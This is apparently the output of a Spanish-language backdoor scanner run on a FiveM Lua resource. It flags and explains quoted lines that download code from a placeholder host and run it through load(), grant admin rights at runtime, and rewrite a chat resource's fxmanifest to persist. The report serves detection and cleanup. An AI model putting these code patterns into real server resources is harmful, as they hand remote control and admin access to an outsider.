Escáner de backdoors

1Generated with devtoolsgg.com2-- RESUMEN -------------------------------------------------------------3Archivos: 1   Líneas: 134[X] 4 crítico   [!] 2 alto   [-] 0 medio   [.] 0 bajo56-- CRÍTICO (4) ---------------------------------------------------------78[X] Descarga código y lo ejecuta9    pasted.lua:210    > PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)1112    Hay una petición HTTP a pocas líneas de una llamada a load(). Esa13    pareja es una shell remota: quien controla la URL controla tu14    servidor. Los escáneres publicados lo tratan como señal definitiva.1516[X] assert(load(...)) ejecuta una cadena como código17    pasted.lua:418    > assert(load(body))()1920    La forma de backdoor de FiveM más común con diferencia. Cualquier21    cadena que llegue a load() se ejecuta con todos los privilegios del22    servidor. Rastrea de dónde viene esa cadena; si se descarga, se23    decodifica o se construye en runtime, da la resource por24    comprometida.2526[X] Concede permisos en runtime27    pasted.lua:1028    > ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))2930    La resource le da permisos de admin a un identificador mientras el31    servidor está corriendo, así que nunca aparece en tu32    permissions.cfg. Mira a qué identificador se los da. Si no es el33    tuyo, esto es un backdoor.3435[X] Reescribe un fxmanifest36    pasted.lua:1337    > SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)3839    Editar un manifest en runtime añade un script a una resource sin40    tocar los archivos de ese script. No hay ninguna razón legítima para41    hacerlo.4243-- ALTO (2) ------------------------------------------------------------4445[!] Petición HTTP saliente46    pasted.lua:247    > PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)4849    Comprueba el destino. Una comprobación de licencia contra el dominio50    del autor es normal; una petición a un dominio que no reconoces,51    sobre todo si lleva identificadores o config, no lo es.5253[!] Escribe un archivo de resource en runtime54    pasted.lua:1355    > SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)5657    Así es como un backdoor sobrevive a un reinicio: se reescribe a sí58    mismo, o a otra resource, o a un fxmanifest, después de que lo hayas59    limpiado. Comportamiento documentado de las familias Blum Panel y60    Cipher. Mira qué resource y qué archivo escribe.6162-- HALLAZGOS POR ARCHIVO -----------------------------------------------63   6  pasted.lua6465-- NOTA ----------------------------------------------------------------66Heurísticas estáticas, no una prueba: esto marca formas que suelen estar67mal y se calla sobre la lógica que no ve. Lee las líneas marcadas y68luego compara la resource con la versión original de su autor.69